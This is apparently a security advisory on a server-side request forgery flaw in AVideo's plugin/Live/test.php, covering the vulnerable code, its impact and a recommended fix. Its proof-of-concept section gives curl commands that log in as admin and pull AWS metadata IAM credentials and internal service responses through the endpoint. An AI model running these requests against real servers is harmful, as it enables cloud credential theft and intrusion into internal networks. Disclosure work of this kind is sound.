Description

AVideo: Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php

Summary

The plugin/Live/test.php endpoint accepts a URL via the statsURL parameter and fetches it server-side using file_get_contents(), curl_exec(), or wget, returning the full response content in the HTML output. The only validation is a trivial regex (/^http/) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides isSSRFSafeURL() which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.

Details

The vulnerable code path is in plugin/Live/test.php:

User input (line 11):

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    _log('this is not a URL ');
    exit;
}

The regex /^http/ only verifies the URL starts with "http" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges.

Sink — file_get_contents (line 58-68):

if (ini_get('allow_url_fopen')) {
    try {
        $tmp = file_get_contents($url, false, $context);
        _log('file_get_contents:: '.htmlentities($tmp));

Sink — curl_exec (line 73-94):

} elseif (function_exists('curl_init')) {
    $ch = curl_init();
    // ...
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    // ...
    $output = curl_exec($ch);
    // ......
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Sink — wget (line 114):

if (wget($url, $filename)) {
    $result = file_get_contents($filename);
    _log('wget:: '.htmlentities($result));

All three code paths output the full response content to the user via _log(), which echoes to the HTML response (line 155-160).

The codebase provides isSSRFSafeURL() at objects/functions.php:4025 which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported objects/aVideoEncoder.json.php, but plugin/Live/test.php does not call it.

Additionally, SSL certificate verification is disabled on both the file_get_contents stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.

The endpoint also lacks CSRF token validation while accepting GET requests via $_REQUEST, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).

PoC

Step 1: Authenticate as admin and obtain session cookie

# Login to obtain PHPSESSID
PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \
  -d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}')

Step 2: Read AWS cloud metadata (IAM credentials)

curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

Expected output: HTML page containing the full cloud metadata response including IAM role names.

Step 3: Read IAM credentials for a specific role

curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'

Expected output: JSON containing AccessKeyId, SecretAccessKey, and Token for the IAM role.

Step 4: Scan internal services

curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'

Expected output: Full response from internal service at 192.168.1.1:8080.

Impact

An authenticated admin can:

Read cloud metadata credentials: Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.

Enumerate internal services: Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.

Port scan internal infrastructure: Determine which internal hosts and ports are active based on response timing and content.

Bypass network segmentation: Reach services behind firewalls that trust the AVideo server's IP address.

The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.

Recommended Fix

Add isSSRFSafeURL() validation before fetching the URL. In plugin/Live/test.php, after line 15:

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    _log('this is not a URL ');
    exit;
}

// Add SSRF protection
if (!isSSRFSafeURL($statsURL)) {...
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Additionally, enable SSL verification in the curl handler (lines 79-80):

// Replace:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
// With:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

And in the stream context (lines 45-49):

// Replace:
"ssl" => [
    "verify_peer" => false,
    "verify_peer_name" => false,
    "allow_self_signed" => true,
],
// With:
"ssl" => [...
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Mitigation

Aliases

References